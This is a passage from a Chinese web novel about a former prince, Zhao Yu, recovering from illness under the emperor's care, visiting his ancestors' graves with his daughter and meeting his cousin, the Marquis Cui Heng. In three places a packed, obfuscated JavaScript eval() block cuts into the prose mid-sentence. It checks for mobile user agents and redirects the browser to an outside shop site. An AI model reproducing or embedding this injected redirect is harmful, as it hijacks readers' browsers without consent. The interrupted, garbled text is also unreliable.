他对来人轻语,“过来了。” “怎么弄成这样?” “诶。”赵毓,“真不应该回雍京,一回来就是麻烦,一堆的麻烦,……” 尹桂宝儿注意到赵毓的说辞,——回雍京。他用的词是回,而不是来,也不是到,却是一个’回’字。似乎,雍京才是他真正属于的地方。 来人将赵毓手中的瓷坛子拿走,他说,“到我那里去,你至少要正经看看大夫。” “好。” 文湛搀着他下床,赵毓的双脚一沾地就瘫了,文湛差点没有撑住他。 果然高热烧的有些晕了。 赵毓吸了口气,用单臂搭在文湛的肩膀上,用力强撑着站起来。文湛架着他的腰,一把就稳住了。 文湛问他,“能走吗?” 他点头,“可以。”随后,还对尹桂宝儿说,“我去别的地方住几天,你自己在雍京住着安心一些,乱七八糟的人不要见、乱七八糟的地方都别去,什么事情等我好了再说。” 尹桂宝儿连忙答应,并且送出门。 外面有一些人马,还有一辆马车,他一直看着赵毓上了马车,并且走了很远这才回去关门落闩。 马车中。 赵毓感觉自己烧的越来越厉害,脑子中天旋地转的。 文湛的手一直按在他的额头上,他的手刚开始是冰凉的,现在也燥热了起来,根本无法降温。 晕的想吐。 总要想些什么,说些什么。 赵毓说,“以后这么晚就别过来了,我这高热估计怎么也要等个两三天才能好。我在哪里都能呆着,你难得踏实睡一觉,这么一折腾,估计晚上是没闭眼的时间了。” 文湛没说话。 赵毓又说,“你什么时候知道我回雍京了?” 文湛回答,“今早,你一进南门。” “哦。” “不知道你生病。其实,我早该过来的,只是,不确定你愿不愿意见我。” “呃。”赵毓迷迷糊糊的答了一句,“我怎么会不愿意见你?只是,……” …… 赵格非在饮水斋住到第四天的时候,开始有些莫名心慌。她从来没有同亲爹莫名其妙分开这么久,虽然她在这里被招待的非常好,可是还是无法出雅园这个小院子。 ——不会出事了吧,……会出什么事? …… 赵毓终于从床榻上爬了起来,已经是四天后了,他摸到镜子前面看了看,——得,瘦了三圈。 他从去年秋天开始一直到今年冬天努力养的膘都没了。不但这样,更糟糕的是他自己原本的肉也都被消耗去了一些。从镜子中看他,此时的他像个农田里面糊弄鸟雀的稻草人。 进来一个人,穿着司礼监秉笔大太监服色,顶着一张贤惠却欠扁的不男不女脸的黄枞菖。 “祖宗,您终于醒了,再醒不过来,奴婢都要上山去吃斋念佛了。” “黄瓜,快,快!”赵毓说了几个字,力气不支,连忙坐下,“给我拿……” “肘子还是包子?”黄枞菖连忙说,“祖宗不是我故意饿着您,您这晕了四天了,刚醒过来只能喝稀粥。我这就给您盛去。” “别,不是。”终于倒回来这口气,赵毓,“给我拿纸笔,我得给花骨朵儿写封信,她现在人还在冉庄饮水斋呢!” “呦喂,这几天忙昏了头了,怎么把这茬给忘了。”黄枞菖一拍脑袋,赶紧出去,从外间拿了一小叠纸张并且把狼毫沾了墨一并取了过来。 赵毓拿过来就开写,手指软的不像自己的,抓着笔写的歪歪扭扭: 格非,我在外面山珍海味,包参翅肚,你自己也要这样做。 落款,你亲爹。 最后,一个龙飞凤舞的赵字。 写完,赵毓捏着那张纸,“黄瓜快,找人给她送过去。” “祖宗,您这鲍鱼的鲍写错了。” 黄枞菖就在司礼监,他有权力在大臣们的奏章上批红。 本来他对文章法度的严谨程度就敏感,对错字更是如此,尤其是眼前这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728867|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错的离谱的字,他全身犹如针扎,有一种强大的冲动想要修正过来。 赵毓一摆手,“写错了好,不然花骨朵儿肯定以为是假的。” “哎。”黄枞菖叹气,“学海无涯,这很多时候吧,学习如同逆水行舟,不进则退。假文盲装多了也便成了真文盲。” 赵毓瞪着他。 “我去,我去,我马上找人送信给咱们姑娘。您别着急。”黄枞菖出去,不一会儿端了一小碗米汤过来,“祖宗,先喝这个。” 赵毓看着这碗东西,一愣,“不对啊,你刚才不是说我能喝稀粥吗?” “这就是稀粥啊!” “这是稀粥?”赵毓一脸的鄙视,“黄瓜你真有成为名垂青史权宦的潜能。你要是敢把这种号称稀粥的玩意儿放在赈灾的粥棚里面去,太L祖大诰十杀的罪名一定有你这一种。” “祖宗,别抱怨了,你都病成这个样子了,有米汤喝就算不错了。我刚才还给您加了点糖。快喝吧,挺甜的。” 赵毓认命,他让黄枞菖把碗放在桌面上,他抬手,发现手指连握住勺子的力气都没了。 黄枞菖蹲下,拿起勺子喂赵毓吃米汤。 “七殿下让皇上罚了一个月的禁足。”黄枞菖忽然说,“圣上这是为了雍王好,不然他别苑出的那些事让御史言官知道了,弹劾的折子说不定都能把司礼监淹了。” 赵毓没说话,继续喝米汤。 黄枞菖喂的特别仔细,就像他们小的时候,黄枞菖因为写不好字被打之后,赵毓喂他一样。 “那天,你见到七殿下了吗?”黄枞菖忽然问赵毓。 赵毓,“没有。越筝迎面过来,马上就要遇见了,我拉着桂宝儿逃了。” 黄枞菖似乎很清淡很清淡的叹了口气,“以后,再也不见面了吗?” “不见了。”赵毓摇头,“再也不见了。” “太子过来给皇上请安。”黄枞菖,“他们现在还在外面的殿里说话。太子将自己的功课拿了过来,皇上看着很满意,还让司礼监以后把内阁邸报抄一份给东宫送过去。” 赵毓,“哦。” 黄枞菖,“方才太子听说你在这里,还说要过来看看你,让皇上给挡了。” 赵毓的胃口还没有恢复,喝了半碗米汤就喝不下去了。 黄枞菖端走汤碗,“圣上只是提醒他,当初你说过,等太子正位东宫之后,也不要再见面了。” “嗯。” “其实,……”黄枞菖犹豫了半天才开口,“我一直觉得雍王的资质比太子要好,如果他能成为东宫,那么,……” 赵毓摇头,“储君的人选不看才能,要看血统。只要皇帝有儿子在,别人就不可以觊觎储位。储君以后就是皇帝,宝座只要给第二人一丝希望那就是祸乱的根源。黄瓜,雍王比太子要好的话,以后不要再说了。” 黄枞菖,“我记下了。只是,七殿下算什么?他是楚相的学生,以储君的教养长大,现在,却,……” 赵毓闭上眼睛。 他已经什么话都不想再说了。 皇帝进来的时候,赵毓刚沐浴完,穿着他用湖丝做的一件半旧的长袍,就手拿了一个布巾擦头发。体力没有恢复,擦一下喘两口气,再休三下,这样才能擦下一次。 文湛让他回去躺好,自己坐床边上,让他枕着自己的腿。 他接过那块布巾,帮他慢慢擦头发。 谁也不说话。 其实,他们两个纠葛了近乎是一生的时间,到了今天,已经没有那些浮华外露的情感。两个人静静的在一起,哪怕没有声音没有话语都不会尴尬。似乎,他就应该在他旁边,就像四季轮转,日月星辰一般。 赵毓感觉皇帝的手指顺着他的额头轻轻滑动,到脸颊最后到耳后,随后就是耳垂,腮边的骨,脖颈,最后,咽喉,胸口,还有,…… 赵毓抓住他的手,“你知道了。” 文湛却清淡的来了一句,“你对石恺那一招,教教我?” 赵毓不说话,只是抓着皇帝的手指,放在嘴边似乎是蜻蜓点水一般亲了一下,随后,慢慢放在自己左边的心口上。 10. 10 10 “不是什么好东西,不教。” “跟谁学的?” 他们分开过很久,那些年,赵毓一个人走了很远的路。文湛不知道他都经历过什么,遇见过什么人,他只知道他最后回来了,一身尘霜,却依然还是当初离开雍京时的那个人。 …… “你这么做不怕我生气?” “我以为你不知道。” “我记得你说过,这世上没有我不知道的事情。” “你知道我明天吃什么?” 皇帝,“……” 赵毓从床上爬起来,很规矩跪坐在文湛面前,极其认真的看着他的眼睛,说了一句,“对不起。” 他们的感情天生带着杀戮与罪孽。 没有上天的庇佑,不被世俗接受,也没有长辈的首肯,今生今世甚至百年之后也会带着无尽的骂名,能让他们依旧在一起的原因只是因为这是他们的选择。 没有祝福同时也没有束缚。 既然这样,那么双方的自我约束就极其重要。 赵毓做错,必须道歉。 文湛点头,算是接受,“怎么没见你对我用过?” 赵毓,“控制人的手段,肮脏无比,我怎么可能用在你身上?再说,……” 他拆下他发顶的金冠。 文湛长发垂落,黑色缎子一般披散开来。 赵毓跪在床上直起来身体,就着这样居高临下的姿势,他低头亲吻着那个人薄却秀致的嘴唇。 不用任何手段与心机,仅仅是亲吻,就可以挑起热情。 欲F望本身就是馈赠,像美酒,像蜜糖,像阳光。 良久,他们才分开。 赵毓看着文湛的那双眼睛,像燃烧的野火一样。 也许此时他才是一个有温度活生生的人,而不是一尊冰冷的神像,只能高高端坐于王座之上。 “祖宗,我给你从御膳房端了一碗老鸭汤,你千万别说是我给……你……弄……的……” 黄枞菖从外面拎着一个坛子过来,一进内殿,脚步刹然而止。 ——皇帝也在。 忽然,他脸上一热,鼻子下面是两行红。 他也不知道为什么会这样,其实这两个人似乎什么也没有做,就是坐着。 赵毓从床上光脚下来,赶紧用袖子给他擦鼻血,像擦一个西瓜一样仔仔细细一点一点擦干净。 “天干物燥,跟着我喝两天米汤吧,败败火。” 黄枞菖赶忙将手中的鸭汤罐子桌上,一捂鼻子,匆忙之中,他竟然还记得给皇帝弯腰,弯的极低,随后,倒退着踉跄的跑掉了。 “咦,这鸭子汤看起来不错,你喝不喝。” “不喝,腻。”文湛说,“你上次让我查的那家人,有点眉目了。” “哦。” 赵毓坐下,文湛给他拿了勺子。 似乎体力又恢复了一些,他握住勺子的感觉是实在的,不虚了。 他知道文湛说的是谁。 上次他去相亲,感觉有怪。 其实他也说不上来哪里不对劲,就感觉那个姑娘的面向有些不一样,所以他貌似插科打诨一般说自己相中了人家的娘亲。按照常理来说,这件事情就算过去,对方无论如何不会同相亲没相中人家姑娘反而相中丈母娘的人有任何往来,结果,从那天到现在,人家不但给他送吃送喝,还给花骨朵儿一些好玩的珠钗水粉, 他当时什么也没有说,就是看了文湛一眼,文湛就记住了。 “那家人姓洪,的确是做小买卖的,从外地迁进冉庄,算上今年是第二年。”文湛,“他们有一些铺面,位置不错,就在那条冉庄那条大街上,每天进账也不错,但是也谈不上日进斗金。洪家那母女你都见过,他们的男主人是一个年纪大一些的男人,按照送回来的信件描述,他应该不算高,圆脸,胖一些,看起来倒像是直隶这边的人。” “这就对了,问题就在这里。”赵毓用勺子搅动鸭汤,撇掉那层油,“冉庄本地就有大官商崔氏,祖祖辈辈就在那里,树大根深。可是这姓洪的人家新到冉庄,却在很短的时间内在崔氏的控制之下还购买下冉庄大街上不错的一些铺子,做起来不错的生意,这本身就有问题。” 赵毓接着说,“崔氏现任当家就是宁淮侯崔珩,这个人我了解。他吃得多心眼小,卧榻之旁绝对不容许他人安睡,这姓洪的人家能在崔珩的地盘上一年之内有这个局面,真是不简单啊不简单。还有那家的姑娘,……”皮肤白皙,眼睛珠子淡一些,有些西疆色目人的底子。 文湛,“那姑娘怎么了?” “没啥。”赵毓喝了两口鸭汤,也就不喝了,倒是不腻就是有些腥味,他现在胃口还没有恢复,还要再等等。 文湛,“赵格非就在冉庄,你不担心?” 赵毓,“她现在就在饮水斋,我临走的时候给她画两个圈,让她别出来。现在应该没有什么事情发生,不然那边一定会告知我的。哎,其实我只是想着来一天就走,没想到病了,真是千算万算,老天还有一算。” 他这病说是骑马一夜未睡又落水捞人激出的病症,不如说心病。 文湛忽然问他,“如果那天不是在他的别苑,有人落水,你救吗?” 赵毓点头,“救,人命关天。” 他沉默着,忽然想起来另外一件事,过两天,等他体力恢复了正好去一趟寿春宫,不知道这次能不能见到那个人。 赵格非再看到她亲爹时候,已经快清明了。他终于从外面走进来,手中还拎着一个布袋,里面是纸钱。 “闺女,走,上坟去。” “亲爹,您怎么瘦成这样了?” 两道声音同时喊出来。 赵毓,“扛活去了,不然你在这里的吃喝住店还有衣衫裙子的钱没法出。” “啊?”赵格非忽然异常内疚,“亲爹,那你以后别做事了,我们就自己在家中住,后院开点地自己种地自己吃。我还认字,可以去给别人写信,也可以去别人家中教人家的姑娘读书赚一些束脩。亲爹,没事,以后我孝敬你。” 赵毓没想到自己心口胡诌的一句话竟然让赵格非能说出这样感人肺腑的话语。他竟然有一些老泪纵横了。 “闺女,你是我亲闺女,吃我的,喝我的,用我的,花我的,那还不是天经地义?你老爹还没到七老八十,要你孝敬的时候。等以后你长大了,有事没事回来看看老爹,我也就能割目,哦不,瞑目了。” 闻言,赵格非那一腔不知道从哪里来的活生生的热烈的感动被赵毓的文盲选词又给活生生的憋了回去。 赵毓去结账,同时将想要吃什么的菜单一并给了饮水斋。 从今天开始算,一直到端午。一日三餐,外加两顿茶点,虽然不至于顿顿鲍参翅肚,可是也算是有鱼有肉。 ——这趟去扛活,亲爹果然赚了不少。 坟地。 赵格非从来没有在冉庄扫过墓,因为他爹的身份在云中是个非常隐晦的话题,所以,她也从来没有见过自己赵氏祖坟。 这是她第一次来。 这里就只有两个坟头。 荒,特别荒,要不是还有块斑驳的石碑,赵格非几乎都看不出来这是坟了。 “这是你爷爷,这是你爷爷的亲爹还有你爷爷的亲妈,他们两个埋一块儿。都是空坟,里面什么都没有。” 赵格非摆水酒果品,赵毓坐在地上,拿着火折子开始烧纸。 “啊?为什么都是空的?” “你爷爷让人千刀万剐了,你爷爷的亲爹被斩首埋在雍京荒郊,你爷爷的亲妈千里迢迢被押解到雍京,自尽了,尸首早就不知去向。当年我就没有找到过他们,现在就更不要说了。原本我也不想弄这些,但是后来想想,还是立块碑,给他们一些子孙的香火吧,也不知道他们能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728868|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能收到。都过了这么多年,估计这三人奈何桥都趟过两三趟了吧。” “亲爹,咱们真是罪臣的后人?” “是吧。” “那娘亲当年可是兵部尚书兼任外放总督府的姑娘,为什么会嫁给您?” ……,尹明扬女儿和你在雍京街头相识的前一天,关于他私纵手下何晋杀平民贪功的弹劾奏折和一些证据从西疆运进大正宫。父皇本来想要彻查,但是后来你同尹绮罗婚事已定,父皇就将奏折留中。…… 赵毓,“她是个大夫,看我晕血,可能觉得我这个人挺有意思的吧。” “您晕血?” “啊,晕过,后来治好了。” “怎么治好的?” “见多了,就习惯了。” 赵格非歪着脸看着他,“亲爹您知道吗?在云中,虽然那些人总是说您惧内,怕老婆,可是那些七大姑八大姨的还有那些待字闺中的姐姐妹妹都羡慕娘亲,说她嫁的最好。” 她说完,本来以后会听到父亲说一些什么,结果什么都没有。 赵毓已经点燃了纸钱,他就坐在新长的嫩草上,看着眼前这团火,一张一张的向里面添加纸钱。 烟火后面的那张脸,竟然有些陌生。 赵格非忽然问,“亲爹,怎么只有三个人的坟,我奶奶的坟呢?” “咦?”赵毓有些奇怪,“我没跟你说过吗?你奶奶还活着。” 赵格非,“……” 闻言,她艰难的摇头,“亲爹,您把从明天开始一直到端午想吃什么的菜单都列出来了,就是没有告诉我,我奶奶还活着这件’小事’。” “哦,许是这些年事儿多,忘了。” “那么,烦劳亲爹再告诉我一件小事情,我奶奶现在在哪里?” 赵毓,“雍京,大正宫。” 赵格非,“……” 过了好一会儿,她才艰难的找回声音,“我奶奶是宫里的嬷嬷?” 常理,宫女二十五岁出宫,再按照她亲爹的岁数推断,她奶奶就算少女产子,如今也不会是二十五岁了,她现在还留住宫廷中,应该是个嬷嬷什么的。 罪臣家眷入宫为奴自古有之,赵格非也没有过于意外。 “不是。”赵毓摇头,“她是先帝贵妃,如今应该在是个什么太贵妃。” “……” “咦?我没有告诉你,你娘还有你外祖母他们也没有说?”赵毓奇怪。 赵格非哑着嗓子说,“可能,我娘和外祖母他们也忙,这些小事儿就忘记说了。” “哦,兴许是。” “亲爹,咱们算是皇亲国戚吗?” “不算。” “哎,也是。” 赵格非脑中,她奶奶就是一个丈夫死后抛弃儿子进入后宫,步步为营最后成为贵妃,太贵妃的传奇女子。这位太贵妃奶奶后来应该又有了儿子女儿,现在过着满门均是王公、富贵荣华的好日子。她亲爹赵毓是奶奶的一个过去,不愿意被提起,甚至想要把他从尘世抹去。于是,亲爹就过着潦倒的生活,不为人知,这才是自保的最高境界。 此时,一个身上穿着酱色长衫的中年男人横着跑过农田。 “表少爷,表少爷!”他挥舞着双手,“侯爷知道您在这里。他从雍京回来了,让我过来请您过去一趟。哦,大小姐也在,那一起过去吧。侯爷带了一些顶好的鱼翅,已经让人上锅蒸来发开,发好就炖。” 赵毓想了想,“也成。闺女,今天咱们有好吃的了。” 他把手中的纸钱全部扔到火堆中,那火吞了一堆新纸钱,陡然旺盛起来,野风一吹,竟然显出狂舞乱摆的姿态。 赵格非一把抓住他,“亲爹,您不会还忘记告诉我一些什么小事吧。” 赵毓,“我们之所以住在冉庄呢,就是因为这里的地头蛇宁淮侯崔珩是你奶奶的亲侄子,也是我从来不熟一表三千里的表哥。” 11. 11 11 洪朵儿在外面骑马回来,她从后门进入宅子。 冉庄这个地方水土比家乡好很多,毕竟是在直隶境内,天子治下,风调雨顺。但是对于洪朵儿来说,只有一点不好。冉庄的姑娘太过柔弱,稍微有一些家底的姑娘几乎是大门不出二门不迈,唯一有趣的姑娘就是赵家女公子赵格非。 赵格非貌似文弱,其实性子也算野,曾经被她父亲带着在外骑马郊游,过的不像冉庄这边的闺秀反而像是个公子。 赵格非的父亲,……赵毓! 洪朵儿想到那天在相亲驴肉宴上看到的那个男人,心中一阵子烦躁。 她一进门,就看见自己明面上的父亲站在圆月门外。 这个人个头不高,圆脸,是山里凉坡人,他是母亲雇的在冉庄这边充当洪家当家人的幌子。 “大小姐。”这个她名义上的父亲在外面装的很像一个老实却狡诈的生意人,但是在内宅中还是明白上下尊卑的。他说,“大当家的来了。” 哦,她父亲到了。 洪朵儿赶忙将披风扔给旁边的丫头,自己去后宅。 这里很安静,房门紧闭,所有人都在外院侍候。洪朵儿走上台阶,听见屋子里面她爹娘说话。 “这么久了,我们连赵家的门都摸不到。当家的,那个赵毓可不想你说的那样虚弱无能。” “说来也奇怪。”男人的声音,带着异族人的腔调,“根据我们知道的事情,这个姓赵的男人喜欢咱们敦煌以西这边的人,并且做人如同沼泽下的泥潭。他当年曾经在瓜州当兵,仗打的极烂,却和一群波斯女支女勾勾搭搭,要不是长生天震怒,降下惩罚,圣山融雪形成洪水冲毁散了我们的骑兵,他和他那些游兵散勇早就埋尸戈壁了。” …… “当家的,我看算了,朵儿还小,她不能……” 男人的声音,“郑人男子不是都喜欢朵儿这个年纪的姑娘吗?” “算了,这事我做主。当家的,朵儿她是你的女儿,不是你的工具!” …… 洪朵儿转身走下台阶。 郑人男子是不是喜欢她这个年岁的女子,她不知道,但是她知道那个赵毓肯定不喜欢。 那天在驴肉馆相亲,赵毓外表看起来好色虚弱,眼睛一直垂涎于母亲的美貌,但其实他刚进来就扫过自己一眼,那个眼神,……,像极了戈壁的风,可以卷起黄沙覆盖牛羊牧民,杀死劲草,但是很多时候,却是悄无声息的。 她不想再见到那个人。 敕造宁淮侯府在雍京。 赵格非小的时候曾经坐着小轿从它面前走过。 侯府高高在上,直耸入云的墙壁似乎要刺破天际。它面前那两个巍峨的大石狮子,白的寒光四射,让人晃眼。三间朱红色的大门紧闭,门板上的兽头现出锋利的獠牙,面对繁华的街景与高门下的那些芸芸众生。 冉庄崔氏大宅则是宁淮侯崔珩的祖宅。 这里朴素多了。 虽然宅子占地很大,可是它的墙和周围的民居一样高,显得平易近人。 他们从大门进去,那个穿着酱色长衫的中年男人一直领着他们,还同父亲亲切聊着天。 “表少爷有日子没来了,还怪想您的。” “怎么,想我想的睡不着觉?” 赵格非听着他爹这么说话,直接吞了口口水,差点自己把自己呛到。 “那不能够。我要真敢这么想您,我们侯爷非把我劈了不成。我就是平时没事的时候想一下。”那个人回头看了赵格非一眼,“其实我们侯爷一直想要请大小姐过府一趟,但是大小姐常年住在云中外祖家,平时他在雍京城也忙,就没有去打扰您。” 赵格非听着,只能含糊的说了一句,“哦。” “表少爷您有福气。我们侯爷从雍京请来一个戏班,清明的时候在乡里摆上七天的社戏,让父老乡亲先人先祖们,不管活着的还是死了的,也都乐呵乐呵。” “雍京的戏班?”赵毓听着就是一笑,“别是你们侯爷听惯了清吟小班里面的绵绵之音,以为咱们冉庄的老百姓也喜欢这一口。咱们冉庄这里清明搭台子唱戏用的可都是漕河梆子,都是历史上那些冤死的忠臣良相,听着悲凉爽脆,可不是什么才子佳人的花前月下。” “这,您得问我们侯爷。表少爷,到了。” 赵格非他们进屋,里面站着两个男人,呃,是吧。其中一位身量高,身上是深褐色的长衫,看上去是一般富贵家的老爷的装扮,很稳重。至于另外那位,……,诶,不提也罢。这位装扮着戏装,似乎是牡丹亭的杜丽娘,又像是长生殿的杨玉环。 这位深褐色长衫的稳重男子是宁淮侯? 崔珩是个传奇人物。 听说,他本来是前朝杜阁老的学生,参加过科举的。 他当年乡试第一,会试第一,十八A九岁的时候已经是雍京成有名的王孙公子,结果,却因为眠娼宿妓,错过了春闱的时辰,没有去考。这要是他去了,没准凤化朝就会再出一个几百年不遇的’连中三元’的佳话! 后来,他开始在雍京制造局做皇商。 那几年做的风生水起,据说,大郑的国库有一小半都是他赚回来的。 再后来,他好像做什么事情瘸了脚,本来没有任何资格立足于庙堂之上,却因为战功赫赫而重新进入雍京官场,想来后来腿不瘸了。 最后,他被封侯。 不过,他只不过是三等候。 赵格非在云中的时候也听说过这个事情,那些云中的老兵总是说崔珩被埋没了,单单以他的功劳来说未必不能同定国公裴檀比肩!只是因为一个因由,崔珩这才屈居三等候的爵位。至于什么因由,那些老兵就不得而知了。 ——“他是当朝外戚。” 赵格非听一些从雍京过来云中小住的堂姐妹这样说过,她们随家人在雍京,一些事情听的比较明白,可是这件事情还是有些似是而非。 “我也是听说当年圣上颁旨册封的时候随口说的。你知道,我表姐的姨母的堂姐是先帝的贵人,就在宫里,她们说的应该可信。” 原来她没有仔细听,也没有仔细想,刚才她爹和她说了之后,他全明白了。 崔珩是他奶奶崔太贵妃的侄子,怎么算也算是皇家人,功劳大是应该的,但是不能过于奖赏,要懂得韬光隐晦。 不过,…… 赵格非仔细又一想,还是不对。 崔珩只不过是先帝贵妃的侄子,又不是当朝皇后的兄弟,他算什么’当朝外戚’? …… 赵毓对赵格非说,“闺女,这就是你表叔。” 闻言,赵格非恭敬走到那位身量高的长衫男子面前,恭恭敬敬的蹲了蹲,“侯爷万福金安。” 结果。 那个男子似乎受到了惊吓,连忙退到一边,“大小姐,这可使不得!” 一声戏谑的笑。 那名戏装男子坐在正对门的大木椅上,低头吸着水烟。 烟浮氤氲的雾气萦绕在他身边,他的长相倒是眉目如画,仿若江南千里河山,就是,眼神毫无柔情善意。 赵格非忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728869|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得在云中听军中的老师爷讲过一些古战场的幽魂鬼怪的故事,当然,也有一些狐女报恩的瑰丽传奇,当时那位老者形容一位狐女就说过一句话,正适合眼前这名男子。 ——“人间无此姝丽,非鬼即狐。” 他将手边的水烟放好,站起来走到赵格非面前,却在三尺之外站住,“赵大小姐,我才是你表叔。” “你穿成这个鬼样子,谁认得出来你是威名赫赫的宁淮侯?”赵毓笑骂,“怎么,今天又票戏去了?” 崔珩冷笑,“你不是跟我不熟吗?你管我做什么去了?” 说完,他看了一眼赵格非。 他发现这位云中尹府长大的姑娘还真像闺秀,一点没有他表弟赵毓那种二百五的劲头。 赵格非尽力控制自己,这次到崔珩面前,正正经经的行礼,又说了一遍,“小女眼拙,没有认出侯爷,望侯爷勿怪。” 崔珩被她说的后退了一步,又一步。 他这个人不正经,就怕见到正经闺秀,让他有些手足无措。 “姑娘你别见怪。”崔珩说,“我和你爹闹惯了。哦,对了,我带来一些新鲜的珠花丝绸香料什么的,都是雍京那些贵女们最喜欢的新鲜东西,你去看看,喜欢什么就拿什么,算是表叔给你的见面礼。我和你爹有些事情要谈。” 赵格非看了赵毓一眼。 赵毓笑着说,“去看看,喜欢什么,千万别客气。” 崔珩见赵格非走了,他挥手让那两个人也退下,外面有伶俐的小丫鬟奉了茶进来,也随后退下。 崔珩问他,“听说,你在宫里住了半个多月?” 赵毓点头,“嗯。” 崔珩,“见到你娘了?” 赵毓摇头,“没。” 崔珩叹口气喝茶,“还是那样。” 赵毓,“我在她的寿春宫门外跪了三个多时辰,她不见,再长我也撑不住了,她还是不见,我有什么办法。当年她说过,我要是回来再和男人纠纠葛葛不清不楚,她这辈子不认我,就当这辈子没生我这个儿子。我娘是个人物,说到做到,在这一点上,她比你比我都强。” 崔珩冷笑,“为了那个狼崽子,亲娘都不要了,你可真出息。” 赵毓,“别说这事了,你有什么事,直说。” “圣上因为冉庄出了姓洪的那家生意人把我骂的狗血淋头。”崔珩手指点着桌面,“这些年我一直在东海,盯着盛执玉造船。我又不是三头六臂,怎么可能随时眼观六路耳听八方。冉庄不就是这一年来了一个来历不明的洪某人吗,有什么大不了的,要是不想他们在这里混,我随时做了他们不就得了?” 赵毓看了他一眼。 “当然,国有国法,我也不能随意杀人,这我知道。可是想要在冉庄地面上探他们的底,这还是很容易的。”崔珩说,“再说,你家距离我这里就十几里的路,我在你那边还开了饮水斋,你有什么事都能过去,就算我不在冉庄,也不会顾不上你,那个狼崽子,他至于吗?” 半晌无人说话,崔珩又问,“你怎么不说话?” 赵毓,“我得让你骂爽快了,不然憋在心里,多难受。” 崔珩一摆手,“不说了这个了。我说,你家姓洪的,你打算怎么着,直接一窝端了?” “端人家做什么?”赵毓反问,“人家在这里做买卖,合理合法,童叟无欺。崔碧城,俗话说兔子不食窝边草,你就是冉庄人,对待自己的乡亲要像吹面不寒杨柳风一般温柔和煦。” 崔珩,“那你意思是?” 赵毓,“等呗。” 12. 12 12 洪朵儿的父亲是西疆人,名字是浑·撒怜丁。 因为过于怪异,所以他进入大郑疆域的时候改了名字,以洪取代浑,丁取代撒怜丁,所以他现在的名字是洪丁。 一个急色匆匆的人求见洪丁。 一进门,那个人没有见礼直接说,“大当家的,宁淮侯崔珩回冉庄了。” “什么时候?”洪丁一惊,“他不是一直在东海吗?” 那人说,“千里疾驰,前日到的雍京,今日回的冉庄。” 洪丁闻言,眉头紧皱。他真不喜欢这种感觉,一种事情悄然失控的预感让他极其不舒服。 “大当家,事情不做是不成了。如果我们立刻动手,还有三四成的胜算,如果不动手,那我们这一年多的心血就彻底白费了。” 洪丁很缓慢却坚定的点了头。 赵格非没有挑拣任何东西,她就是很安静的坐在外间屋,确保自己听不到她父亲与宁淮侯的对话。 整件事件过于诡异。 虽然看起来她父亲赵毓同这位宁淮侯好像很熟悉,但是对于她来说,这位崔侯爷完全就是陌生人,她在陌生人的地盘上做不出随意不见外的举动。 “大小姐,饿了吧。” 刚才那位引他们过来的酱色长衫的中年人端着一个托盘过来。 “我给您做了点心。冰糖炖的莲子菱角,还有桂花和玫瑰酱。这些都是从湖里面现摘得,您先垫垫饥。表少爷同侯爷还有事情说。” “多谢您。” 赵格非起身。 虽然她是尹明扬的外孙女,虽然她亲爹交友有些奇诡,可是归根到底,她只是一介草民的女儿,在侯门公府这种地方,能小心一些自然就要小心一些。 “大小姐,您不用这么客气。我是侯府管事,您叫我崔二就好。” “礼多人不怪。” 那人见赵格非这样,心里感觉其实挺受用的,又客气了两句,见赵格非挺喜欢吃桂花酱的冰糖莲子菱角,又让人盛了一碗给她。 崔珩拿了加了紫藤香料的猪油膏卸下脸上的戏妆,一个清秀的小厮捧着铜盆跪在他面前,让他洗脸。等他把脸上的事情弄清爽了,又过来两个丫鬟帮他卸下头发上还有身上的行头。最后,一位明艳动人的小美人双手捧了崔珩的衣服过来,是一件深色蜀锦长衫,为他换上,最后还拿着梳子帮他把头发重新扎好。 赵毓安静坐一旁坐着,眼睛看着茶盏,不知道想什么。 “你那个闺女,还没给太贵妃瞧过吧。” “没有。开头几年太乱,回不来雍京,格非自然见不到我娘。现在嘛,我娘连我跪死在她寿春宫大门口都不见我,更不要说见格非了。” 崔珩彻底收拾清爽了,让那些人都出去。他喝了一口茶,眼睛转了转,“你不会冲着你娘用苦肉计吗?” “没用。”赵毓手指拨弄这茶盏中的茉莉,“我当年顶着亲王的名头都能混成草民,而我娘和先帝没有任何肌肤之亲的情形下都能成为贵妃,这就说明我娘比我精,我骗不过她。” “说到这里,我也挺奇怪的。你说,你怎么就回来了?”崔珩忽然凑过来,“你都走了这么多年了,我以为你同那个狼崽子的事儿就算过去了。” 赵毓不知道想到什么,就是笑。 那种笑非常温和,甚至带着蜜一般的甜美,却是极度疏离的,没有其他人涉入的途径。 不,也许有,只是那个人不是他眼前的崔珩。 